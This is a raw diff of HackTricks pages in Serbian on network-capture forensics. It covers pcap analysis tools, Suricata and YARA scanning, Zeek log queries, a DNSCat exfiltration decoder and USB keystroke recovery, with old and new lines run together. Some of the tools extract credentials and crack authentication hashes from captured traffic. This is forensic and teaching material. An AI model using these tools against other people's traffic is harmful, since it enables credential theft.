## Online alati za pcap datoteke ## Online alati za pcaps
* Ako je zaglavlje vaše pcap datoteke **oštećeno**, trebalo bi da pokušate da ga **popravite** koristeći: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) * Ako je zaglavlje vašeg pcap-a **pokvareno**, trebali biste pokušati da ga **popravite** koristeći: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Izvucite **informacije** i pretražujte **malver** unutar pcap datoteke na [**PacketTotal**](https://packettotal.com) * Izvucite **informacije** i tražite **malver** unutar pcap-a na [**PacketTotal**](https://packettotal.com)
* Pretražite **zlonamerne aktivnosti** koristeći [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) * Tražite **malicioznu aktivnost** koristeći [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
* **Potpuna analiza pcap datoteke iz pretraživača na** [**https://apackets.com/**](https://apackets.com/) * **Potpuna pcap analiza iz pregledača na** [**https://apackets.com/**](https://apackets.com/)
## Izdvajanje informacija ## Izvlačenje informacija
Sledeći alati su korisni za izdvajanje statistika, datoteka, itd. Sledeći alati su korisni za izvlačenje statistike, datoteka itd.
### Wireshark ### Wireshark
{% hint style="info" %} {% hint style="info" %}
**Ako ćete analizirati PCAP datoteku, osnovno je da znate kako koristiti Wireshark** **Ako planirate da analizirate PCAP, osnovno je da znate kako da koristite Wireshark**
{% endhint %} {% endhint %}
Možete pronaći neke trikove za Wireshark u: Možete pronaći neke Wireshark trikove u:
{% content-ref url="wireshark-tricks.md" %} {% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md) [wireshark-tricks.md](wireshark-tricks.md)
@ -49,13 +50,13 @@ Možete pronaći neke trikove za Wireshark u:
### [**https://apackets.com/**](https://apackets.com/) ### [**https://apackets.com/**](https://apackets.com/)
Analiza pcap datoteke iz pretraživača. Pcap analiza iz pregledača.
### Xplico Framework ### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(samo za linux)_ može **analizirati** pcap datoteku i izvući informacije iz nje. Na primer, iz pcap datoteke Xplico izvlači svaki email (POP, IMAP i SMTP protokoli), sve HTTP sadržaje, svaki VoIP poziv (SIP), FTP, TFTP, i tako dalje. [**Xplico** ](https://github.com/xplico/xplico)_(samo linux)_ može **analizirati** **pcap** i izvući informacije iz njega. Na primer, iz pcap datoteke Xplico, izvlači svaku email poruku (POP, IMAP i SMTP protokoli), sve HTTP sadržaje, svaki VoIP poziv (SIP), FTP, TFTP, itd.
**Instalacija** **Instalirajte**
```bash ```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
@ -67,28 +68,28 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart /etc/init.d/apache2 restart
/etc/init.d/xplico start /etc/init.d/xplico start
``` ```
Prisup _**127.0.0.1:9876**_ sa pristupnim podacima _**xplico:xplico**_ Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
Zatim kreiraj **novi slučaj**, napravi **novu sesiju** unutar slučaja i **učitaj pcap** datoteku. Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
### NetworkMiner ### NetworkMiner
Kao i Xplico, ovo je alat za **analizu i izdvajanje objekata iz pcap-ova**. Ima besplatno izdanje koje možete **preuzeti** [**ovde**](https://www.netresec.com/?page=NetworkMiner). Radi sa **Windows**-om.\ Kao Xplico, to je alat za **analizu i ekstrakciju objekata iz pcaps**. Ima besplatnu verziju koju možete **preuzeti** [**ovde**](https://www.netresec.com/?page=NetworkMiner). Radi na **Windows**.\
Ovaj alat je takođe koristan za dobijanje **ostalih informacija analiziranih** iz paketa kako biste mogli znati šta se dešavalo na **brži** način. Ovaj alat je takođe koristan za dobijanje **druge analizirane informacije** iz paketa kako bi se moglo brže saznati šta se dešava.
### NetWitness Investigator ### NetWitness Investigator
Možete preuzeti [**NetWitness Investigator ovde**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Radi na Windows-u)**.\ Možete preuzeti [**NetWitness Investigator odavde**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Radi na Windows)**.\
Ovo je još jedan koristan alat koji **analizira pakete** i sortira informacije na koristan način kako biste **znali šta se dešava unutra**. Ovo je još jedan koristan alat koji **analizira pakete** i sortira informacije na koristan način da bi se **znalo šta se dešava unutra**.
### [BruteShark](https://github.com/odedshimon/BruteShark) ### [BruteShark](https://github.com/odedshimon/BruteShark)
* Izdvajanje i enkodiranje korisničkih imena i lozinki (HTTP, FTP, Telnet, IMAP, SMTP...) * Ekstrakcija i kodiranje korisničkih imena i lozinki (HTTP, FTP, Telnet, IMAP, SMTP...)
* Izdvajanje autentifikacionih heševa i njihovo pucanje korišćenjem Hashcat-a (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) * Ekstrakcija autentifikacionih hash-ova i njihovo razbijanje koristeći Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
* Izgradnja vizuelnog dijagrama mreže (Mrežni čvorovi & korisnici) * Izrada vizuelnog dijagrama mreže (Mrežni čvorovi i korisnici)
* Izdvajanje DNS upita * Ekstrakcija DNS upita
* Rekonstrukcija svih TCP & UDP sesija * Rekonstrukcija svih TCP i UDP sesija
* Rezanje fajlova * File Carving
### Capinfos ### Capinfos
``` ```
@ -96,40 +97,40 @@ capinfos capture.pcap
``` ```
### Ngrep ### Ngrep
Ako **tražite** nešto unutar pcap datoteke, možete koristiti **ngrep**. Evo primera korišćenja osnovnih filtera: Ako **tražite** **nešto** unutar pcap-a, možete koristiti **ngrep**. Evo primera koji koristi glavne filtre:
```bash ```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
``` ```
### Rezanje ### Carving
Korišćenje uobičajenih tehnika rezanja može biti korisno za izvlačenje datoteka i informacija iz pcap datoteke: Korišćenje uobičajenih tehnika carving-a može biti korisno za ekstrakciju fajlova i informacija iz pcap-a:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### Snimanje akreditacija ### Capturing credentials
Možete koristiti alate poput [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje akreditacija iz pcap datoteke ili sa živog interfejsa. Možete koristiti alate kao što su [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) za parsiranje kredencijala iz pcap-a ili sa aktivnog interfejsa.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti **cybersecurity** u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i cybersecurity profesionalaca u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com/) je najrelevantnija cyberbezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce iz tehnologije i cyberbezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## Provera Exploita/Malvera ## Check Exploits/Malware
### Suricata ### Suricata
**Instalacija i podešavanje** **Instalirajte i postavite**
``` ```
apt-get install suricata apt-get install suricata
apt-get install oinkmaster apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
``` ```
**Provera pcap-a** **Proveri pcap**
``` ```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
``` ```
@ -137,15 +138,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) je alat koji [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) je alat koji
* Čita PCAP datoteku i izvlači HTTP tokove. * Čita PCAP datoteku i ekstrahuje Http tokove.
* gzip dekompresuje bilo koje kompresovane tokove * gzip dekompresuje sve kompresovane tokove
* Skenira svaku datoteku pomoću yara * Skenira svaku datoteku sa yara
* Piše izveštaj.txt * Piše report.txt
* Opciono čuva podudarne datoteke u direktorijumu * Opcionalno čuva odgovarajuće datoteke u direktorijum
### Analiza Malvera ### Malware Analysis
Proverite da li možete pronaći bilo kakav otisak poznatog malvera: Proverite da li možete pronaći bilo koji otisak poznatog malvera:
{% content-ref url="../malware-analysis.md" %} {% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md) [malware-analysis.md](../malware-analysis.md)
@ -153,9 +154,11 @@ Proverite da li možete pronaći bilo kakav otisak poznatog malvera:
## Zeek ## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) je pasivni, open-source analizator saobraćaja na mreži. Mnogi operateri koriste Zeek kao Monitor za bezbednost mreže (NSM) kako bi podržali istrage sumnjive ili zlonamerne aktivnosti. Zeek takođe podržava širok spektar zadataka analize saobraćaja izvan domena bezbednosti, uključujući merenje performansi i rešavanje problema. > [Zeek](https://docs.zeek.org/en/master/about.html) je pasivni, open-source analizator mrežnog saobraćaja. Mnogi operateri koriste Zeek kao Mrežni sigurnosni monitor (NSM) za podršku istragama sumnjive ili zlonamerne aktivnosti. Zeek takođe podržava širok spektar zadataka analize saobraćaja van domena sigurnosti, uključujući merenje performansi i rešavanje problema.
U osnovi, zapisi kreirani od strane `zeek` nisu **pcap** datoteke. Stoga će vam biti potrebni **drugi alati** za analizu zapisa gde se nalaze **informacije** o pcap datotekama. U suštini, logovi koje kreira `zeek` nisu **pcaps**. Stoga ćete morati da koristite **druge alate** za analizu logova gde se nalaze **informacije** o pcaps.
### Connections Info
```bash ```bash
#Get info about longest connections (add "grep udp" to see only udp traffic) #Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?) #The longest connection might be of malware (constant reverse shell?)
@ -222,7 +225,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita #See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs rita show-exploded-dns -H --limit 10 zeek_logs
``` ```
## Ostale trikove analize pcap-a ## Ostali trikovi analize pcap-a
{% content-ref url="dnscat-exfiltration.md" %} {% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md) [dnscat-exfiltration.md](dnscat-exfiltration.md)
@ -240,20 +243,21 @@ rita show-exploded-dns -H --limit 10 zeek_logs
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji događaj u oblasti **kibernetičke bezbednosti** u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i stručnjaka za kibernetičku bezbednost u svakoj disciplini. [**RootedCON**](https://www.rootedcon.com/) je najrelevantnija sajber bezbednosna manifestacija u **Španiji** i jedna od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Analiza DNSCat pcap # DNSCat pcap analiza
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
Ako imate pcap sa podacima koji se **eksfiltriraju pomoću DNSCat-a** (bez korišćenja enkripcije), možete pronaći eksfiltrirani sadržaj. Ako imate pcap sa podacima koji se **ekstrahuju putem DNSCat** (bez korišćenja enkripcije), možete pronaći ekstrahovane sadržaje.
Samo trebate znati da **prva 9 bajtova** nisu stvarni podaci već su povezani sa **C\&C komunikacijom**: Samo treba da znate da su **prvih 9 bajtova** lažni podaci, ali su povezani sa **C\&C komunikacijom**:
```python ```python
from scapy.all import rdpcap, DNSQR, DNSRR from scapy.all import rdpcap, DNSQR, DNSRR
import struct import struct
@ -56,16 +57,17 @@ Postoji skripta koja radi sa Python3: [https://github.com/josemlwdf/DNScat-Decod
``` ```
python3 dnscat_decoder.py sample.pcap bad_domain python3 dnscat_decoder.py sample.pcap bad_domain
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# USB Keystrokes # USB Keystrokes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
Ako imate pcap koji sadrži komunikaciju putem USB tastature kao što je sledeći: Ako imate pcap koji sadrži komunikaciju putem USB-a tastature kao što je sledeća:
![](<../../../.gitbook/assets/image (962).png>) ![](<../../../.gitbook/assets/image (962).png>)
Možete koristiti alat [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) da biste saznali šta je napisano u komunikaciji: Možete koristiti alat [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) da dobijete ono što je napisano u komunikaciji:
```bash ```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt
@ -28,16 +29,17 @@ Možete pročitati više informacija i pronaći neke skripte o tome kako analizi
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Analiza Wifi Pcap # Wifi Pcap Analiza
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
